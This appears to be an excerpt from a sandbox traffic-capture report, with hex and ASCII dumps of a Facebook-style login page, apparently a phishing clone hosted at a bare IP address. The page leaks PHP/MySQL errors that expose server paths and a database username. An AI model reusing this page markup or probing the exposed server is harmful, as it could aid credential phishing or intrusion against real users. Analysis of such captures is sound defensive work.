2022-10-08 09:34:43 UTC	300	IN	Data Raw: 64 22 3a 22 32 79 78 42 22 7d 2c 37 35 37 5d 2c 5b 22 5a 65 72 6f 43 61 74 65 67 6f 72 79 48 65 61 64 65 72 22 2c 5b 5d 2c 7b 7d 2c 31 31 32 37 5d 2c 5b 22 5a 65 72 6f 52 65 77 72 69 74 65 52 75 6c 65 73 22 2c 5b 5d 2c 7b 22 72 65 77 72 69 74 65 5f 72 75 6c 65 73 22 3a 7b 7d 2c 22 77 68 69 74 65 6c 69 73 74 22 3a 7b 22 5c 2f 68 72 5c 2f 72 22 3a 31 2c 22 5c 2f 68 72 5c 2f 70 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 75 6e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 70 6f 6c 69 63 79 5c 2f 6f 70 74 69 6e 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 6f 70 74 69 6e 5c 2f 77 72 69 74 65 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 6f 70 74 69 6e 5c 2f 6c 65 67 61 6c 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 6f 70 Data Ascii: d":"2yxB"},757],["ZeroCategoryHeader",[],{},1127],["ZeroRewriteRules",[],{"rewrite_rules":{},"whitelist":{"\/hr\/r":1,"\/hr\/p":1,"\/zero\/unsupported_browser\/":1,"\/zero\/policy\/optin":1,"\/zero\/optin\/write\/":1,"\/zero\/optin\/legal\/":1,"\/zero\/op
2022-10-08 09:34:43 UTC	302	IN	Data Raw: 72 69 65 72 5f 70 61 67 65 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 63 61 72 72 69 65 72 5f 70 61 67 65 5c 2f 65 64 75 63 61 74 69 6f 6e 5f 70 61 67 65 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 63 61 72 72 69 65 72 5f 70 61 67 65 5c 2f 66 65 61 74 75 72 65 5f 73 77 69 74 63 68 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 63 61 72 72 69 65 72 5f 70 61 67 65 5c 2f 73 65 74 74 69 6e 67 73 5f 70 61 67 65 5c 2f 22 3a 31 2c 22 5c 2f 61 6c 6f 68 61 5f 63 68 65 63 6b 5f 62 75 69 6c 64 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 7a 62 64 5c 2f 73 6f 66 74 6e 75 64 67 65 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 61 66 5f 74 72 61 6e 73 69 74 69 6f 6e 5c 2f 22 Data Ascii: rier_page\/":1,"\/mobile\/zero\/carrier_page\/education_page\/":1,"\/mobile\/zero\/carrier_page\/feature_switch\/":1,"\/mobile\/zero\/carrier_page\/settings_page\/":1,"\/aloha_check_build":1,"\/upsell\/zbd\/softnudge\/":1,"\/mobile\/zero\/af_transition\/"
2022-10-08 09:34:43 UTC	303	IN	Data Raw: 3a 31 2c 22 5c 2f 74 65 72 6d 73 2e 70 68 70 22 3a 31 2c 22 5c 2f 73 72 72 5c 2f 22 3a 31 2c 22 5c 2f 6d 73 69 74 65 5c 2f 72 65 64 69 72 65 63 74 5c 2f 22 3a 31 2c 22 5c 2f 66 62 73 5c 2f 70 69 78 65 6c 5c 2f 22 3a 31 2c 22 5c 2f 63 6f 6e 74 61 63 74 70 6f 69 6e 74 5c 2f 70 72 65 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 5c 2f 22 3a 31 2c 22 5c 2f 63 6f 6e 74 61 63 74 70 6f 69 6e 74 5c 2f 63 6c 69 66 66 5c 2f 22 3a 31 2c 22 5c 2f 63 6f 6e 74 61 63 74 70 6f 69 6e 74 5c 2f 63 6f 6e 66 69 72 6d 5c 2f 73 75 62 6d 69 74 5c 2f 22 3a 31 2c 22 5c 2f 63 6f 6e 74 61 63 74 70 6f 69 6e 74 5c 2f 63 6f 6e 66 69 72 6d 65 64 5c 2f 22 3a 31 2c 22 5c 2f 63 6f 6e 74 61 63 74 70 6f 69 6e 74 5c 2f 6c 6f 67 69 6e 5c 2f 22 3a 31 2c 22 5c 2f 70 72 65 63 6f 6e 66 69 72 6d 61 74 69 6f Data Ascii: :1,"\/terms.php":1,"\/srr\/":1,"\/msite\/redirect\/":1,"\/fbs\/pixel\/":1,"\/contactpoint\/preconfirmation\/":1,"\/contactpoint\/cliff\/":1,"\/contactpoint\/confirm\/submit\/":1,"\/contactpoint\/confirmed\/":1,"\/contactpoint\/login\/":1,"\/preconfirmatio
2022-10-08 09:34:43 UTC	304	IN	Data Raw: 45 76 65 6e 74 50 72 6f 66 69 6c 65 72 49 6d 70 6c 22 2c 22 41 61 33 77 46 4b 2d 6f 47 4c 4a 4a 2d 5a 72 41 72 33 4e 70 63 46 79 6a 4c 42 61 66 48 46 5a 32 33 76 47 78 6e 56 7a 37 30 67 70 70 2d 54 6e 35 58 55 54 6f 6b 45 72 32 47 79 7a 71 67 56 65 6c 35 62 57 2d 39 58 56 56 63 6c 77 68 74 70 42 35 2d 6c 67 30 45 58 64 6b 34 52 30 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 31 37 38 32 32 22 2c 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 2c 22 41 61 33 77 46 4b 2d 6f 47 4c 4a 4a 2d 5a 72 41 72 33 4e 70 63 46 79 6a 4c 42 61 66 48 46 5a 32 33 76 47 78 6e 56 7a 37 30 67 70 70 2d 54 6e 35 58 55 54 6f 6b 45 72 32 47 79 7a 71 67 56 65 6c 35 62 57 2d 39 58 56 56 63 6c 77 68 74 70 42 Data Ascii: EventProfilerImpl","Aa3wFK-oGLJJ-ZrAr3NpcFyjLBafHFZ23vGxnVz70gpp-Tn5XUTokEr2GyzqgVel5bW-9XVVclwhtpB5-lg0EXdk4R0"]},-1],["cr:717822",["TimeSliceImpl"],{"__rc":["TimeSliceImpl","Aa3wFK-oGLJJ-ZrAr3NpcFyjLBafHFZ23vGxnVz70gpp-Tn5XUTokEr2GyzqgVel5bW-9XVVclwhtpB
2022-10-08 09:34:43 UTC	306	IN	Data Raw: 3a 5b 22 56 69 73 75 61 6c 43 6f 6d 70 6c 65 74 69 6f 6e 22 2c 22 41 61 32 51 78 71 6d 34 67 42 4a 72 6e 70 44 62 6b 44 4f 74 55 7a 6d 49 4b 53 37 4d 62 7a 76 33 47 75 43 6d 51 2d 33 6b 48 43 5a 2d 36 61 32 6c 46 68 6e 47 46 64 72 6a 2d 67 43 32 67 36 6a 6b 53 44 44 64 49 65 42 6a 41 2d 74 2d 76 6c 6c 78 42 57 36 2d 6a 2d 2d 43 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 30 39 34 39 30 37 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 22 41 61 31 35 59 67 74 71 71 7a 53 47 71 31 51 4d 33 4e 4b 53 52 42 4b 6c 31 33 39 46 38 46 52 70 6a 6f 46 68 55 48 56 65 53 6d 64 5a 6d 62 5f 65 30 49 55 77 62 44 6c 5a 48 71 65 30 41 63 55 58 77 46 34 49 4c 57 67 6f 6c 30 72 56 52 4d 73 65 43 35 68 77 50 70 30 22 5d 7d 2c 2d 31 5d 2c 5b 22 45 76 65 6e 74 43 6f 6e Data Ascii: :["VisualCompletion","Aa2Qxqm4gBJrnpDbkDOtUzmIKS7Mbzv3GuCmQ-3kHCZ-6a2lFhnGFdrj-gC2g6jkSDDdIeBjA-t-vllxBW6-j--C"]},-1],["cr:1094907",[],{"__rc":[null,"Aa15YgtqqzSGq1QM3NKSRBKl139F8FRpjoFhUHVeSmdZmb_e0IUwbDlZHqe0AcUXwF4ILWgol0rVRMseC5hwPp0"]},-1],["EventCon
2022-10-08 09:34:43 UTC	307	IN	Data Raw: 61 69 6e 22 5d 2c 5b 22 55 52 4c 46 72 61 67 6d 65 6e 74 50 72 65 6c 75 64 65 22 5d 2c 5b 22 50 72 69 6d 65 72 22 5d 2c 5b 22 42 69 67 50 69 70 65 22 5d 2c 5b 22 42 6f 6f 74 6c 6f 61 64 65 72 22 5d 2c 5b 22 54 69 6d 65 53 6c 69 63 65 22 5d 2c 5b 22 41 73 79 6e 63 52 65 71 75 65 73 74 22 5d 2c 5b 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 5d 2c 5b 22 56 69 73 75 61 6c 43 6f 6d 70 6c 65 74 69 6f 6e 47 61 74 69 6e 67 22 5d 2c 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 5d 2c 5b 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 5b 22 52 65 71 75 69 72 65 44 65 66 65 72 72 65 64 52 65 66 65 72 65 6e 63 65 22 2c 22 75 6e 62 6c 6f 63 6b 22 2c 5b 5d 2c 5b 5b 22 41 73 79 6e 63 52 65 71 75 65 73 74 22 2c 22 42 61 6e Data Ascii: ain"],["URLFragmentPrelude"],["Primer"],["BigPipe"],["Bootloader"],["TimeSlice"],["AsyncRequest"],["BanzaiScuba_DEPRECATED"],["VisualCompletionGating"],["FbtLogging"],["IntlQtEventFalcoEvent"],["RequireDeferredReference","unblock",[],[["AsyncRequest","Ban
2022-10-08 09:34:43 UTC	309	IN	Data Raw: 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 2f 64 65 76 69 63 65 2d 62 61 73 65 64 2f 72 65 67 75 6c 61 72 2f 6c 6f 67 69 6e 2f 3f 6c 6f 67 69 6e 5f 61 74 74 65 6d 70 74 3d 31 26 61 6d 70 3b 6c 77 76 3d 31 31 30 22 20 6d 65 74 68 6f 64 3d 22 70 6f 73 74 22 20 6e 6f 76 61 6c 69 64 61 74 65 3d 22 31 22 20 6f 6e 73 75 62 6d 69 74 3d 22 22 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6a 61 7a 6f 65 73 74 22 20 76 61 6c 75 65 3d 22 32 39 32 37 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6c 73 64 22 20 76 61 6c 75 65 3d 22 41 56 70 51 37 34 36 63 75 5f 6f 22 20 61 75 74 6f 63 6f Data Ascii: tps://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=110" method="post" novalidate="1" onsubmit=""><input type="hidden" name="jazoest" value="2927" autocomplete="off" /><input type="hidden" name="lsd" value="AVpQ746cu_o" autoco
2022-10-08 09:34:43 UTC	310	IN	Data Raw: 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 6e 61 6d 65 3d 22 67 75 69 64 22 20 76 61 6c 75 65 3d 22 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 70 72 65 66 69 6c 6c 5f 63 6f 6e 74 61 63 74 5f 70 6f 69 6e 74 22 20 6e 61 6d 65 3d 22 70 72 65 66 69 6c 6c 5f 63 6f 6e 74 61 63 74 5f 70 6f 69 6e 74 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 70 72 65 66 69 6c 6c 5f 73 6f 75 72 63 65 22 20 6e 61 6d 65 3d 22 70 72 65 66 69 6c 6c 5f 73 6f 75 72 63 65 22 20 2f 3e 3c 69 6e 70 75 74 20 Data Ascii: /><input type="hidden" autocomplete="off" name="guid" value="" /><input type="hidden" autocomplete="off" id="prefill_contact_point" name="prefill_contact_point" /><input type="hidden" autocomplete="off" id="prefill_source" name="prefill_source" /><input
2022-10-08 09:34:43 UTC	312	IN	Data Raw: 6e 22 3e 47 6f 20 62 61 63 6b 20 74 6f 20 74 68 65 20 70 72 65 76 69 6f 75 73 20 70 61 67 65 3c 2f 61 3e 3c 73 70 61 6e 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 20 c2 b7 20 3c 2f 73 70 61 6e 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 20 64 61 74 61 2d 67 74 3d 22 26 23 31 32 33 3b 26 71 75 6f 74 3b 74 61 72 67 65 74 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 6f 6d 65 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6d 61 72 6b 65 74 69 6e 67 5f 70 61 67 65 5f 63 6c 69 63 6b 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 63 6f 6e 76 65 72 73 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 Data Ascii: n">Go back to the previous page</a><span role="presentation" aria-hidden="true"> </span><a href="https://www.facebook.com/" data-gt="{"target":"home","marketing_page_click":"1","conversion":"1
2022-10-08 09:34:43 UTC	313	IN	Data Raw: 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 Data Ascii: ery()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20
2022-10-08 09:34:43 UTC	315	IN	Data Raw: 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 Data Ascii: ;dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u
2022-10-08 09:34:43 UTC	316	IN	Data Raw: 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 30 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 47 65 72 6d 61 6e 22 3e 44 65 75 74 73 63 68 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 72 2d 66 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e Data Ascii: 53C\/font\u00253E", "www_list_selector", 0); return false;" title="German">Deutsch</a></li><li><a class="_sv4" dir="ltr" href="https://fr-fr.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20exten
2022-10-08 09:34:43 UTC	318	IN	Data Raw: 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 66 72 5f 46 52 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 66 72 2d 66 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 Data Ascii: ot;IntlUtils").setCookieLocale("fr_FR", "en_US", "https:\/\/fr-fr.facebook.com\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520The\u002520mysql\u002
2022-10-08 09:34:43 UTC	319	IN	Data Raw: 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 37 33 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 30 30 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 Data Ascii: \u002520on\u002520line\u002520\u00253Cb\u00253E73\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523000000\u002522\u00253E\u00250A\u00253Cb\u00253E1045\u002520-\u002520Access\u002520denied\u002520for\u
2022-10-08 09:34:43 UTC	321	IN	Data Raw: 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 Data Ascii: #039;%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%
2022-10-08 09:34:43 UTC	322	IN	Data Raw: 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 Data Ascii: 0250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost&#
2022-10-08 09:34:43 UTC	323	IN	Data Raw: 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 35 42 54 45 50 5c 75 30 30 32 35 32 30 53 54 4f 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 Data Ascii: lor=\u002522\u002523ff0000\u002522\u00253E\u00255BTEP\u002520STOP\u00255D\u00253C\/font\u00253E\u00250A\u00253C\/small\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253C\/b\u00253E\u00250A\u00253C\/font\u00253E", "www_li
2022-10-08 09:34:43 UTC	325	IN	Data Raw: 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 Data Ascii: name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" onclick="require("IntlUtils").setCookieLocale
2022-10-08 09:34:43 UTC	326	IN	Data Raw: 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 Data Ascii: 20expects\u002520parameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u002
